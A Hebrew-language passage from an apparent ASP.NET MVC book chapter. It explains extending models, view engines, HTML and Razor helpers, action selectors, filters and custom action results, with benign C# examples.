       ControllerContext context,  

       string errorMessage) : base(metadata, context){ 

  this.errorMessage = errorMessage; 

 } 
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 public override bool IsRequired 

 { 

  get { return true; } 

 } 

 

 private string ErrorMessage 

 { 

  get 

  { 

   return String.Format(errorMessage, Metadata.GetDisplayName()); 

  } 

    } 

 

 public override IEnumerable<ModelClientValidationRule> 

GetClientValidationRules() 

 { 

  yield return new ModelClientValidationRequiredRule(ErrorMessage); 

 } 

 

 public override IEnumerable<ModelValidationResult> Validate(object container) 

 { 

  if (Metadata.Model == null) 

   yield return new ModelValidationResult { Message = ErrorMessage }; 

 } 

} 

 Required ,StringLength של שלושה כללי אימות מימושיםתוכלו למצוא שבאתר בקוד המלא 
מצטרף  שיאפשרו לכם לראות כיצד הכול ,בקר ותצוגה, מודלובכלל זה גם , )EmailAddress-ו

 . למכלול אחד

) debug(בדיקה וניפוי כדי לאפשר אפשרות אימות בצד הלקוח מבוטלת על פי ברירת מחדל 
 למחוק את שורת הקוד היחידה מהתצוגה כדי תוכלו. בצד השרתשהאימות של קוד בקלות 

 . אימות בצד הלקוח ולראות כיצד הדבר מתבצעהלהפעיל את אפשרות 

 הרחבת תצוגות
תבנית בדרך כלל תצוגה היא . הנפוץ ביותר מפעולות בקרהערך המוחזר תצוגות הן הסוג 

). המודל( הקלט שמתקבל פי הפלט על שינוי שלכלשהי אשר מכילה קוד שמטרתו לאפשר 
:  על פי ברירת מחדל בה כוללת שני מנועי תצוגה מובנים שמותקניםASP.NET MVCתשתית 

ומנוע , ) כבר מגרסתה הראשונהMVCאשר מהווה חלק מתשתית  (Web Formsמנוע התצוגה 
נוספים מספר מנועי תצוגה חיצוניים יש ). MVC 3ראשונה לגרסת אשר צורף ל (Razorהתצוגה 

 . NVelocity- וSpark ,NHamlניהם יוב, MVCיישומי עבור 
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 התאמה אישית של מנועי תצוגה 

אך סביר להניח ,  מנועי תצוגה מותאמים אישיתה שלכתיבהאפשר להקדיש ספר שלם לנושא 
אינה חביבה על רוב  תצוגה מאפס כתיבת מנוע. שלא יימכרו יותר מעותקים בודדים

עומדים מצבורים זמינים של קוד  -ולרשות המעטים שמעוניינים לעשות זאת , המפתחים
סעיף זה יוקדש להתאמה , לפיכך. מקור שיכולים לספק להם נקודת פתיחה לא רעה לפרויקט

 . MVCאישית של שני מנועי התצוגה המובנים של 

 - RazorViewEngine והמחלקה WebFormViewEngineקה  המחל-שתי מחלקות מנועי התצוגה 
אשר בתורה יורשת מהמחלקה , BuildManagerViewEngineיורשות מהמחלקה 

VirtualPathProviderViewEngine . גם מנהל הבנייה)BuildManager ( וגם ספק הנתיב
. ASP.NETת הינם אלמנטים ששייכים לזמן הריצה של ליב) VirtualPathProvider(ירטואלי והו

או , aspx.כמו למשל קבצי (מנהל הבנייה הוא הרכיב שאחראי על איתור קבצי תצוגה בדיסק 
.cshtml( ,ירטואלי מסייע באיתור קבצים מכל סוגוספק הנתיב הו. המרתם לקוד מקור והידורם .

אבל המפתח יכול להחליף את , המערכת מחפשת את הקבצים בדיסק, על פי ברירת מחדל
כמו למשל ( שטוען את תכני התצוגה ממיקומים אחרים , אחרירטואלי בספקוב הוספק הנתי

שתי מחלקות הבסיס הללו מאפשרות למפתח להחליף במידת ). מבסיס נתונים או מקובץ
 . וירטואליואו את ספק הנתיב ה/הצורך את מנהל הבנייה ו

קום בדיסק שבו יחפשו המחלקות הללו היא שינוי המי) overriding(סיבה שכיחה יותר לדריסת 
 :המנוע מחפש במיקומים הבאים, על פי המוסכמה. מנועי התצוגה את הקבצים

~/Areas/AreaName/Views/ControllerName 

~/Areas/AreaName/Views/Shared 

~/Views/ControllerName 

~/Views/Shared 

 כדי לאפשר ,מיקומים אלה מאוחסנים במאפייני האוסף של מנוע התצוגה במהלך בנייתו
למפתחים ליצור מנוע תצוגה חדש שיורש ממנוע התצוגה המועדף עליהם ולספק מיקומים 

בקטע הקוד שלהלן מוצגות השורות הרלוונטיות מתוך אחד הבנאים של . חלופיים
WebFormViewEngine: 

AreaMasterLocationFormats = new string[] { 

 "~/Areas/{2}/Views/{1}/{0}.master", 

 "~/Areas/{2}/Views/Shared/{0}.master" 

}; 

AreaViewLocationFormats = new string[] { 

 "~/Areas/{2}/Views/{1}/{0}.aspx", 

 "~/Areas/{2}/Views/{1}/{0}.ascx", 

"~/Areas/{2}/Views/Shared/{0}.aspx", 

 "~/Areas/{2}/Views/Shared/{0}.ascx" 

}; 

AreaPartialViewLocationFormats = AreaViewLocationFormats; 
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MasterLocationFormats = new string[] { 

 "~/Views/{1}/{0}.master", 

 "~/Views/Shared/{0}.master" 

}; 

ViewLocationFormats = new string[] { 

 "~/Views/{1}/{0}.aspx", 

 "~/Views/{1}/{0}.ascx", 

 "~/Views/Shared/{0}.aspx", 

 "~/Views/Shared/{0}.ascx" 

}; 

PartialViewLocationFormats = ViewLocationFormats; 

 :והפרמטרים שמועברים להן הם, String.Format נשלחות דרך אלומחרוזות 

 שם התצוגה = {0}

 שם הבקר = {1}

 )area(שם האזור  = {2}

. ותמיקום התצוגשל  המפתחים יכולים לשנות את המוסכמות ,על ידי עריכת המחרוזות
. עבור תצוגות חלקיותascx.  עבור תצוגות מלאות וקבצי aspx. להחזיר קבצי פשרא, לדוגמה

ולבחור את , שונהאולם בעלות סיומת , הדבר מאפשר ליצור שתי תצוגות בעלות שם זהה
 . תצוגה חלקיתלבקשה לתצוגה מלאה או : התצוגה שתמומש בהתאם לסוג הבקשה

 :  די דומהRazor התצוגה להלן הקוד שמכיל הבנאי של מנוע

AreaMasterLocationFormats = new string[] { 

 "~/Areas/{2}/Views/{1}/{0}.cshtml", 

 "~/Areas/{2}/Views/{1}/{0}.vbhtml", 

 "~/Areas/{2}/Views/Shared/{0}.cshtml", 

 "~/Areas/{2}/Views/Shared/{0}.vbhtml" 

}; 

AreaViewLocationFormats = AreaMasterLocationFormats; 

AreaPartialViewLocationFormats = AreaMasterLocationFormats; 

 

MasterLocationFormats = new string[] { 

 "~/Views/{1}/{0}.cshtml", 

 "~/Views/{1}/{0}.vbhtml", 

 "~/Views/Shared/{0}.cshtml", 

 "~/Views/Shared/{0}.vbhtml" 

}; 

ViewLocationFormats = MasterLocationFormats; 

PartialViewLocationFormats = MasterLocationFormats; 

 מסתמך על סיומות קבצים כדי להבחין Razorההבדל הקטן בקוד הזה נובע מהעובדה שמנוע 
, אך אינו מגדיר סוגי קבצים שונים לתצוגות אב, )VB או #C ( השונותתכנותהבין שפות 
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סוגי קבצים שונים עבור דפים אינו מגדיר גם מנוע זה . לקיות ותצוגות ח כלליותתצוגות
 . Razor- מכיוון שהמבנים הללו אינם קיימים ב,לעומת בקרים

 להשתמש MVCעליכם להורות לתשתית , לאחר השלמת השינויים הנדרשים במנוע התצוגה
 את ךערוניתן ל. עליכם להסיר את מנוע התצוגה הקיים שבכוונתכם להחליף, סףבנו. בהם

או לחילופין באמצעות אחת ממחלקות ( שלכם Global.asax בקובץ אלוהגדרות התצורה ה
Config שבתיקייה App_Start של תבניות ברירת המחדל של MVC 4 .( 

,  במנוע תצוגה מותאם אישית שיצרתםRazorאם ברצונכם להחליף את מנוע התצוגה , לדוגמה
 :דומה לזהתוכלו להשתמש בקוד שנראה 

var razorEngine = ViewEngines.Engines 

.SingleOrDefault(ve => ve is RazorViewEngine); 

 

if (razorEngine != null) 

ViewEngines.Engines.Remove(razorEngine); 

 

ViewEngines.Engines.Add(new MyRazorViewEngine()); 

,  הוא מסיר אותו-מותקן ואם הוא כבר ,  מותקן כברRazorקוד זה בודק אם מנוע התצוגה 
חשוב לזכור שמנועי . מעודכן חדש Razorמופע של מנוע נוצר  ,ולאחר הבדיקה או ההסרה
 החדש על פני שאר Razor כדי לתת קדימות למנוע , ולכן שלהםתצוגה מורצים לפי הסדר
 לפרמטר 0ולהעביר , Add. במקום Insert.להשתמש בשיטה צריך , מנועי התצוגה הרשומים

indexיהיה ראשון ברשימהמנוע זה  כדי להבטיח ש . 

 HTMLכתיבת סייעי 

. תצוגות עבור הHTMLבהפקה של קוד הן שיטות שנועדו לסייע ) HTML) HTML helpersסייעי 
 UrlHelper או HtmlHelper ,AjaxHelperשיטות הרחבה של המחלקות כהסייעים נכתבים בעיקר 

לסייעי ). URL או כתובות Ajax- תומךHTML, שוט פHTML: הן עוזרות להפיקכתלות במה ש(
HTML ולסייעי Ajaxיש גישה ל -ViewContext)  מכיוון שניתן לקרוא להם אך ורק מתוך
מכיוון שניתן לקרוא להם מתוך בקרים (ControllerContext - יש גישה לURLולסייעי , )תצוגות

 ). ותצוגות כאחד

 thisסטטיות שמשתמשות במילת המפתח שיטות הרחבה הן שיטות סטטיות במחלקות 
אם נרצה , לדוגמה.  הן מרחיבות נתונים כדי לומר למהדר איזה טיפוס,בפרמטר הראשון שלהם

 : נוכל לכתוב,  שאינה מקבלת פרמטריםHtmlHelperליצור שיטת הרחבה עבור 

public static class MyExtensions { 

 public static string MyExtensionMethod(this HtmlHelper html) { 

  return "Hello, world!"; 

 } 

} 
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, )MyExtensions.MyExtensionMethod(Html)על ידי הקריאה (ניתן לקרוא לשיטה בדרך המקובלת 
כל ). ()Html.MyExtensionMethodעל ידי הקריאה (אך נוח יותר להשתמש בתחביר ההרחבה 

אלא שפרמטר , רמטר גם בשיטת ההרחבהפרמטר נוסף שנגדיר לשיטה הסטטית יהפוך לפ
 הייתה נטייה MVC 1.0לשיטות ההרחבה של ". ייעלם "thisההרחבה שמסומן במילת המפתח 

וצב ישירות בזרם הפלט עם קריאות כדוגמת והערך המוחזר ה, Stringלהחזיר ערכים מטיפוס 
 ): Web Formsתחביר (זו שלהלן 

<%= Html.MyExtensionMethod() %> 

רצויות יכלו להשתחרר - לאHTMLתגיות :  הישן יצר בעיהWeb Formsתחביר ,  הצערלמרבה
שזו תקופת , עולם האינטרנט של שנות התשעים ותחילת שנות האלפיים. לחופשי בקלות רבה מדי

אמצעי הזהירות כפי שנדרשים כיום , באותה עת. היו שונות מאוד מהיום, ASP.NETההתבגרות של 
כדי לשפר את רמת . היו פחות חיוניים - CSRF או XSS אינטרנט ממתקפות כדי להגן על יישומי

 :HTML קידוד אוטומטי של ערכי Web Forms התווסף לתחביר NET 4בגרסת , האבטחה
<%: Html.MyExtensionMethod() %> 

מדובר בתרומה ". נקודתיים"בתו ) שבתחילת הביטוי(" שווה"שימו לב להחלפה של התו 
 פעולה הרי זו? HTMLאבל מה עושים כאשר באמת צריך להחזיר , ת הנתוניםמבורכת לאבטח

, IhtmlStringבשם  ממשק חדש NET 4. לשם כך נוסף לתשתית .HTMLשכיחה עבור סייעי 
, <% :%>כאשר אתם כורכים מחרוזת כזו בתחביר . על ידי כל טיפוסאותו שניתן ליישם 

 הבגרס. קלט ללא קידודאל המעבירה אותן  ו, תקינותHTMLהמערכת מזהה שמדובר בתגיות 
ASP.NET MVC 2מגרסה זו , פשר על התאימות לגרסאות קודמות ולכן התקבלה החלטה להת
 . MvcHtmlString   מחזירים מופעיHTMLואילך כל סייעי 

סביר להניח שכמעט תמיד תעדיפו , HTML שמשמשים להפקת HTMLכאשר כותבים סייעי 
רוצים שהמערכת תקודד את התגיות ינכם  מכיוון שאStringקום  במIHtmlStringלהחזיר 

אשר כולל הצהרת פלט אחת , Razorהדבר חשוב אף יותר בעת שימוש במנוע התצוגה . שלכם
 : ותמיד מבצע קידוד,בלבד

@Html.MyExtensionMethod() 

  Razorכתיבת סייעי 

 Razorכולים לכתוב גם סייעי מפתחים יה, MVC 1.0 אשר זמין מאז HTMLבנוסף לתחביר סייעי 
אשר כלולה בכל יישומי , Web Pages 1.0אפשרות זו הינה חלק מתשתית . Razorבתחביר 

MVC . לסייעים אלה אין גישה לאובייקטי הסיוע שלMVC)  כגוןHtmlHelper ,AjaxHelper או 
UrlHelper ( וגם לא לאובייקטי ההקשר שלMVC)  כגוןControllerContext או ViewContext .( הם

 דרך ממשק ASP.NETיכולים לקבל גישה לאובייקטי ההקשר המוטמעים בזמן הריצה של ליבת 
API הסטטי HttpContext.Current של ASP.NET . 

או שימוש חוזר בקוד ,  היא שימוש חוזר פשוט בתצוגהRazorסיבה אפשרית לכתיבה של סייעי 
. או ביישומים שמשלבים את שתי הטכנולוגיות, Web Pages וביישומי MVCסיוע זהה ביישומי 
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 מסורתיים יאפשר לכם HTMLהשימוש בסייעי , MVCאם היישומים שמפתחים בנויים על טהרת 
 . גם אם התחביר עצמו קצת פחות תמציתי, ליהנות מרמות גבוהות של גמישות והתאמה אישית

 Comparing MVC 3"ר מומלץ לקרוא את המאמ, Razorלמידע נוסף על כתיבת סייעי   הערה

Helpers: Using Extension Methods and Declarative Razor @helper Syntax "ון 'בבלוג של ג
ון מתייחס 'למרות שהמאמר של ג). http://weblogs.asp.net/jgalloway/7730805.aspx(גאלווי 

 בסביבת Razorהנושאים הנידונים רלוונטיים גם למפתחים שכותבים סייעי , MVC 3לתשתית 
MVC 4 . 

 הרחבת בקרים
 שכבת באמצעותהן מתקשרות עם המודלים : פעולות בקר הן הדבק שמאחד את היישום שלכם

, מקבלות החלטות מהותיות בנוגע לאופן ביצוע פעולות בשם המשתמש, הגישה לנתונים
 התאמה אישית של). ' וכוJSON ,XML, באמצעות תצוגות(וקובעות כיצד להגיב לבקשות 

 .MVCתהליך הבחירה וההרצה של פעולות מהווה נדבך חשוב ביכולות ההרחבה של 

 בחירת פעולות
 מאפשרת למפתחים להשפיע על אופן הבחירה של הפעולות שיורצו ASP.NET MVCתשתית 

 .  וסינון של שיטות פעולה,בחירת שמות פעולה: באמצעות שני מנגנונים

 בחירת שמות פעולה באמצעות בוררי שמות 

. ActionNameSelectorAttributeשינוי שם של פעולה נעשה באמצעות מאפייני סימון מהמחלקה 
הוא מאפשר . MVC המובנה של תשתית [ActionName]בורר השמות השכיח ביותר הוא 

מפתחים שזקוקים .  ולצרף אותו ישירות לשיטת הפעולה עצמהחלופי שם למשתמש לציין
ים ליישם תכונות מותאמות אישית על בסיס המחלקה  יכול,למיפוי שמות דינמי יותר

ActionNameSelectorAttribute . 

עליכם ליישם את השיטה :  משימה מורכבתו אינActionNameSelectorAttribute של מימוש
אינו השם  אם false  להחזיר או, אם השם המבוקש חוקיtrueולהחזיר , IsValidNameהמופשטת 

ההחלטה יכולה , הפעולה לוקח חלק בהחלטה לגבי חוקיות השםמכיוון שבורר שם . חוקי
נניח שברצונכם ליצור פעולה , לדוגמה. להידחות כל עוד איננו יודעים מהו השם המבוקש

עליכם למפות , למשל" (-product"יחידה שתטפל בכל הבקשות לשם פעולה שמתחיל עם 
ת בקלות רבה על ידי יישום תוכלו לעשות זא).  קיימת שאין לכם שליטה עליהURLכתובת 

 : בורר שמות מותאם אישית

public override bool IsValidName(ControllerContext controllerContext, 

    string actionName, 

    MethodInfo methodInfo) { 

  return actionName.StartsWith("product-"); 

} 
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 הוא יגיב לכל פעולה שמתחילה עם , תצמידו מאפיין זה לשיטת פעולהכאשר, כעת
"product- ."הפעולה עדיין צריכה לעבד את שם הפעולה כדי לשלוף את המידע שימו לב ש

הדוגמה כוללת . Areas/ActionNameSelector/~התהליך מודגם בקוד לדוגמה תחת . הנוסף
 הניתוב כדי והצבת הערך בנתוני,  זיהוי המוצר מתוך שם הפעולהה שלושליפ) parsing(עיבוד 

 . שר את הערך למודלפשר למפתח לקַלאַ

 סינון פעולות באמצעות בוררי שיטות

. נקודת ההרחבה הנוספת שמאפשרת להשפיע על אופן בחירת הפעולה היא סינון פעולות
. ActionMethodSelectorAttribute ממחלקת הבסיס תבורר שיטות הוא מחלקת מאפיין שיורש

גם תהליך זה מבוסס על שיטה מופשטת יחידה שאחראית , פעולהבדומה מאוד לבוררי שמות 
 MVCתשתית . ולקבוע האם השיטה עונה על דרישות הבקשה, ר הבקר והשיטהשֵקְבדיקת הֶל

, [HttpGet]והמאפיינים  ([AcceptVerbs]:  של מאפיין זהמימושים מובניםכוללת מספר 
[HttpPost] ,[HttpPut] ,[HttpDelete] ,[HttpHead], [HttpPatch] גםו [HttpOptions] שקרובים 
 . [NonAction]ובנוסף גם ) אליו מאוד

,  שלוIsValidForRequest ה לאחר שהתשתית קוראת לשיטfalseבמקרה שבורר שיטות מחזיר 
אם .  והמערכת ממשיכה בחיפוש אחר שיטה מתאימה,השיטה נפסלת עבור הבקשה הנתונה

אך אם השיטה כוללת בורר אחד ,  להפעלהאפשריתעמדת היא תיחשב כמו, אין לשיטה בוררים
 .שהשיטה מתאימה לבקשה) trueעל ידי החזרת ( כל הבוררים חייבים להסכים - או יותר

שגיאה הקוד את המערכת מחזירה בתגובה לבקשה , לא ניתן לאתר שיטה תואמתאם 
HTTP 404 .המערכת תחזיר קוד שגיאה, אם יותר משיטה אחת הותאמה לבקשה HTTP 500 

 . שגיאה שמפרטת את הבעיההודעת ותצרף 

נועד הוא הסיבה היא ש,  מופיע ברשימהאינו [Authorize]אם אתם תוהים מדוע המאפיין 
דפדפן להודיע לכדי ") HTTP 401") Unauthorizedלאשר את הבקשה או להחזיר קוד שגיאה 

 או [AcceptVerbs] שעם דרך נוספת להבהיר את ההבדל היא. שיש לבצע אימות של המשתמש
היא תמיד ,  אין דבר שהמשתמש יכול לעשות כדי שהבקשה תהיה חוקית[NonAction]עם 

 שגויה או שהיא מנסה לקרוא לשיטה HTTPשהיא משתמשת בהוראת מכיוון , תהיה לא חוקית
יש משהו שמשתמש הקצה ש, עם זאתמשתמע  [Authorize]מהמאפיין . שאינה שיטת פעולה

זהו ההבדל העיקרי בין מסנני פעולה כדוגמת . ת כדי לגרום לבקשה להצליחיכול לעשו
[Authorize] בוררי שיטות כדוגמת  לבין[AcceptVerbs]. 

 ובקשות Ajaxסיבה אפשרית לשימוש בבוררי שיטות מותאמים אישית היא הבחנה בין בקשות 
 שכולל את [AjaxOnly]לשם כך נוכל ליישם בורר שיטות פעולה חדש בשם . Ajax-שאינן

 : כמוצג להלן, IsValidForRequestהשיטה 

public override bool IsValidForRequest(ControllerContext controllerContext, 

    MethodInfo methodInfo) { 

 return controllerContext.HttpContext.Request.IsAjaxRequest(); 

} 
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, העדרם של בוררי שיטותלב כלל שנוגע לקיומם או בשילו, על ידי שימוש במאפיין שיצרנו
 Ajax- ושאינןAjaxנוכל להסיק ששיטות פעולה לא מסומנות מהוות מטרות כשרות לבקשות 

השיטה תנופה מרשימת המטרות , לאחר הצמדת המאפיין שיצרנו לשיטה כלשהי. כאחד
 . Ajaxהכשרות בעת קבלת בקשה שאינה בקשת 

בחירת שיטת הפעולה . ר שיטות פעולה נפרדות בעלות שם זההעם מאפיין כזה תוכלו ליצו
 Ajaxאו בקשת , המשתמש דרך הדפדפןבקשה ישירה שמבצע : שתורץ תלויה בבקשה

 ולבקשות ,זו תוכלו לגרום ליישום להגיב בצורה שונה לבקשות מלאותבדרך . באמצעות קוד
Ajax . תוכלו למצוא דוגמה מלאה תחת~/Areas/ActionMethodSelector . הדוגמה כוללת

בקר ותצוגה שמדגימים בחירה בין שתי שיטות כוללת גם ו, [AjaxOnly] של המאפיין מימוש
Index  כמוסבר לעיל,  הבקשה שמתקבלת מהמשתמשסוגעל פי . 

 מסנני פעולה
. גם התוצאה מורצת -ואם היא מחזירה תוצאה , הפעולה מורצת, לאחר בחירת שיטת הפעולה

פשרים למפתחים לקחת חלק בצינור ההרצה של הפעולה והתוצאה בארבע מסנני פעולה מא
לצורך עיבוד מקדים וסופי של , לצורך עיבוד מקדים וסופי של בקשות, לצורך אימות: דרכים

 .  ולצורך טיפול בשגיאות,תוצאות

או  (לים ישירות על שיטות הפעולהחָמסנני פעולה יכולים להיכתב בתור מאפיינים שמוּ
 בתור מחלקות עצמאיות שמוספות לרשימת המסננים - לחילופיןו, )הבקרמחלקות 
 FilterAttributeעליו להיגזר מהמחלקה , כדי ליישם את מסנן הפעולה בתור מאפיין. הגלובליים

מסנני פעולה גלובליים שאינם ). ActionFilterAttributeכגון , או אחת ממחלקות המשנה שלה(
, שתיבחרגישה לא תלות בל. לוצי מחלקת בסיס כלשהם אינם מחויבים לאי,מאפיינים

 . פעילויות הסינון הנתמכות נקבעות על סמך הממשקים שמיישמים

 מסנני הרשאה

 ממשק ליישוםד לקחת חלק בתהליך ההרשאה נועפעולה שההרשאה הוא מסנן מסנן 
IAuthorizationFilter .ובהתאם ,מסנני הרשאה מורצים בשלב מאוד מוקדם של צינור הפעולה 

 MVCתשתית . הלכך הם משמשים לביצוע פעילויות שמקצרות את תהליך הרצת הפעולה כול
, [ChildActionOnly], [Authorize] ןניהיב, כוללת מספר מחלקות שמיישמות את הממשק הזה

[RequireHttps] ,[ValidateAntiForgeryToken]גם ו [ValidateInput] . 

 היא ,שאה שמספק פתח מילוט מוקדם מצינור הפעולהאחת הסיבות ליישום של ממשק הר
 תגובה אחרת מהחזרת קוד חייביםעמידה בתנאי מקדים בתרחישים שמ-מתן מענה לאי

 . HTTP 404שגיאה ה

 מסנני פעולה ותוצאה

צריך ומיועד לקחת חלק בתהליך העיבוד המקדים והסופי של פעולות ותוצאה מסנן פעולה 
 OnActionExecuting: ממשק זה כולל שתי שיטות שיש ליישם. IActionFilterליישם את ממשק 
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לצורך עיבוד מקדים וסופי , במקביל). לעיבוד סופי(OnActionExecuted  -ו) לעיבוד מקדים(
: אשר כולל גם כן שתי שיטות סינון, IResultFilterליישם את צריך מסנן הפעולה , של תוצאות

OnResultExecutingו - OnResultExecuted . תשתיתMVCתוצאה / כוללת שני מסנני פעולה
 מימושים קרובות מסנן פעולה יחיד יכיל לעתים. [OutputCache]  - ו[AsyncTimeout]: מובנים

 . ן בשניהםולכן יש טעם לאחד את הדיו, של שני הממשקים כצמד

. אה לשילוב של מסנני פעולה ותוצ מספק דוגמה מצוינת)OutputCache(מסנן מטמון הפלט 
 כדי לקבוע אם כבר אוחסנה תשובה OnActionExecutingחלופי של זה הינו מימוש מסנן 

חזיר תוצאה כדי לה, שיאפשר לוותר לגמרי על הרצת הפעולה והתוצאהדבר (במטמון 
מאפשר לשמור במטמון את גם  OnResultExecutedשל המימוש ).  באופן ישירמהמטמון

 . טרם נשמרום א, תוצאות ההרצה של פעולה ותוצאה

זהו מסנן . Areas/TimingFilter/~תחו את קוד הדוגמה בתיקייה יפ, כל זה פועלכדי להבין איך 
הנה . פעולה ותוצאה אשר משמש לתיעוד משך הזמן הנדרש להרצת הפעולה והתוצאה

 :  של ארבע השיטותמימושים החדשיםה

public override void OnActionExecuting(ActionExecutingContext filterContext) 

{ 

 GetStopwatch("action").Start(); 

} 

public override void OnActionExecuted(ActionExecutedContext filterContext) 

{ 

 GetStopwatch("action").Stop(); 

} 

public override void OnResultExecuting(ResultExecutingContext filterContext) 

{ 

 GetStopwatch("result").Start(); 

} 

public override void OnResultExecuted(ResultExecutedContext filterContext) 

{ 

 var resultStopwatch = GetStopwatch("result"); 

 resultStopwatch.Stop(); 

 var actionStopwatch = GetStopwatch("action"); 

 var response = filterContext.HttpContext.Response; 

 if (!filterContext.IsChildAction && response.ContentType == "text/html") 

  response.Write( 

   String.Format( 

    "<h5>Action '{0} :: {1}', Execute: {2}ms, Result: {3}ms.</h5>", 

    filterContext.RouteData.Values["controller"], 

    filterContext.RouteData.Values["action"], 

    actionStopwatch.ElapsedMilliseconds, 

    resultStopwatch.ElapsedMilliseconds 

   ) 

  ); 

} 
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משמש אחד : NET. של Stopwatchבדוגמה זו נעשה שימוש בשני מופעים של המחלקה 
 התוצאות ,בסיום המדידה. הלמדידת זמן הרצת התוצא - והשני ,למדידת זמן הרצת הפעולה

 לראות בדיוק כמה זמן לקח למפתחים כדי לאפשר HTMLמועברות לזרם הפלט בפורמט 
 . להריץ את הקוד

 מסנני שגיאה

אשר מיועד , )exception filter (מסנן שגיאות מסנני הפעולה הזמינים הוא שלהסוג האחרון 
מסנן . תוצאהשל ה של פעולה או לעיבוד של שגיאות חריגות שעשויות להיזרק במהלך ההרצ

פעולה שמיועד לקחת חלק בתהליך הטיפול בשגיאות צריך ליישם את ממשק 
IExceptionFilter . תשתיתMVCאת,  כוללת מסנן שגיאות אחד בלבד [HandleError] . 

, ביצוע פעולות כגון תיעוד שגיאותלשם אחת הסיבות השכיחות ליצירת מסנן שגיאות היא 
לרוב (ובחירת אופן הטיפול בשגיאה מבחינת משתמש הקצה ,  למנהלי הרשתשליחת התראה

 ממילא מבצעת את HandleErrorAttributeהמחלקה כיוון שמ). על ידי הצגת דף שגיאה
, מסנני פעולהת נהוג להתבסס על מחלקה זו בעת יציר, פורטו שאלוהאחרונה מבין הפעולה 

 הנחיות טיפול לפני הקריאה לשיטה הוסיףל שאפשר יהיה, OnExceptionולדרוס את השיטה 
base.OnException . 

 תוצאות מותאמות אישית
. שורת הקוד האחרונה של רוב שיטות הפעולה משמשת להחזרת אובייקט תוצאת פעולה

 אשר ViewResult  המחלקה מחזירה מופע שלController של המחלקה Viewהשיטה , לדוגמה
להריץ אותה ולכתוב את התוצאות שמתקבלות ,  תצוגהמכילה את הקוד הדרוש כדי לאתר

אתם למעשה מבקשים , רשימת הפעולות ב;()return View  למשלכאשר כותבים. בזרם התגובה
 .  להריץ בשמכם תוצאת פעולהMVCמתשתית 

התשתית אינה מגבילה את המפתחים שמשתמשים בה אך ורק לתוצאות הפעולה המובנות 
 ActionResultיצור תוצאות פעולה אשר יורשות מהמחלקה באפשרותכם ל. שהיא מספקת
 . ExecuteResultומיישמות את 

 ?תוצאות פעולהשם מה דרושות ל

האם . התשתית צריכה להשתמש בתוצאות פעולהלשם מה  שואלים את עצמכם בוודאיאתם 
 ? Controllerלא ניתן היה פשוט להטמיע את הידע הנדרש למימוש תצוגות במחלקה 

הזרקת תלויות : לסוגיה זובמידה מסוימת  בנושאים שקשורים עסקנוהפרקים הקודמים בשני 
תוצאות , בהקשר זה. תוכנהשל הדגש רב לחשיבות של עיצוב נכון בהם ניתן . ובדיקות יחידה

 : פעולה משרתות שתי מטרות חשובות ביותר

  המחלקהControllerי מתשתית אך אינה מהווה חלק מהות,  נועדה להקל על המפתחים
MVC . מבחינת זמן הריצה שלMVC , הטיפוס החשוב הוא הממשקIController : כדי

, לאור זאת. הממשק הזה הוא הדבר היחיד שצריך להכיר, MVCבקר ) או לצרוך(להיות 
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 היה Controllerתצוגה בתוך המחלקה -מימושהקוד לברור ומובן מאליו שהטמעת 
למה להכביד על , זהפרט ל. במקומות אחרים קוד זהמקשה מאוד על השימוש החוזר ב

לט והעיקרון הש?  בכלל תפקידואין זההבקר בידע על אופן המימוש של התצוגה אם 
הבקר צריך להתמקד אך ורק בפעולות שהוא ". עיקרון האחריות היחידה"כאן הינו 

 .  לבצע בתור בקרצריך

 ל רכיבי היישוםהתשתית נכתבה מתוך רצון להקל על ביצוע בדיקות יחידה של כ .
השימוש במחלקות תוצאות פעולה מאפשר למפתחים לכתוב בדיקות יחידה פשוטות 

ולבדוק את הערכים המוחזרים של תוצאת , שיכולות לקרוא לשיטות פעולה באופן ישיר
הרבה יותר קל לכתוב בדיקות יחידה שבוחנת את הפרמטרים של . הפעולה המתקבלת

 שמופקות כתוצאה ממימוש HTML לנבור בתגיות  מאשר כזו שנדרשת,תוצאת פעולה
 . התצוגה

 כוללת מחלקת תוצאת פעולה מסוג Areas/CustomActionResult/~ שנמצאת בכתובתהדוגמה 
XML של אובייקט לפורמט )מבצעת סריאליזציה(מארגנת ומסדרת  אשר XML,  ושולחת אותו

מאורגנת מותאמת אישית ש Person ההקוד המלא כולל גם מחלק.  לפעולהתגובהללקוח כ
 :בתוך הבקרומסודרת כנדרש 

public ActionResult Index() { 

 var model = new Person { 

  FirstName = "Brad", 

  LastName = "Wilson", 

  Blog = "http://bradwilson.typepad.com" 

 }; 

 return new XmlResult(model); 

} 

 XMLארגון והסידור עבור ס בעיקר על יכולות ה מתבסXmlResult של המחלקה המימוש
 :NET Frameworkהמובנות של 

public class XmlResult : ActionResult 

{ 

 private object data; 

 public XmlResult(object data) 

 { 

  this.data = data; 

 } 

 public override void ExecuteResult(ControllerContext context) 

 { 

  var serializer = new XmlSerializer(data.GetType()); 

  var response = context.HttpContext.Response.OutputStream; 

  context.HttpContext.Response.ContentType = "text/xml"; 

  serializer.Serialize(response, data); 

 } 

} 
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 סיכום
את נקודות . ASP.NET MVC של תשתית ים הרחבה מתקדמושאי במספר נעסקנובפרק זה 

: בהתאם לאלמנט שהן משמשות להרחבתו, ההרחבה הזמינות סיווגנו לשלוש קטגוריות
למדנו על מנגנוני הפעולה , ית המודליםיבקטגור). ופעולות(תצוגות או בקרים , מודלים

ופן והצגנו מספר דוגמאות להרחבה של א, הפנימיים של ספקי הערכים והמקשרים למודל
לשם . מטא ומאמתי מודלים-הטיפול בעריכה של מודלים על ידי התשתית באמצעות נתוני

הדגמנו כיצד ניתן להתאים באופן אישי את מנועי התצוגה על ידי שינוי , הרחבת תצוגות
 HTMLשל שיטות סיוע להפקת ני דגמים הצגנו שגם ו, הגדרת המוסכמות לאיתור קבצי תצוגה

 השימוש על ידי למדנו על יכולות ההרחבה של בקרים ,לבסוף. שמפתחיםבתוך התצוגות 
 אמצעים שמספקים -מסנני פעולה וטיפוסי תוצאות פעולה מותאמים אישית , בבוררי פעולה

. דרכים שימושיות וגמישות לעיצוב ייחודי של הפעולות שמקשרות בין המודלים והתצוגות
 לרמות חדשות של שמפתחים MVC להביא את יישומיבה אלו מאפשר שימוש בנקודות הרח

 .לניפוי ולשיפור, להפוך אותם לקלים יותר להבנה -ובמקביל , תפקוד ותאימות
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 15פרק 

 נושאים מתקדמים

 עיקרי הפרק

 תמיכה בהתקנים ניידים 

 אפשרויות מתקדמות : 

   Razor 
   פיגומים 

   ניתוב 

   תבניות 

   בקרים 

 

 ASP.NET MVCבמהלך הלימוד בספר השתדלנו להציג בפניכם את יסודות השימוש בתשתית 
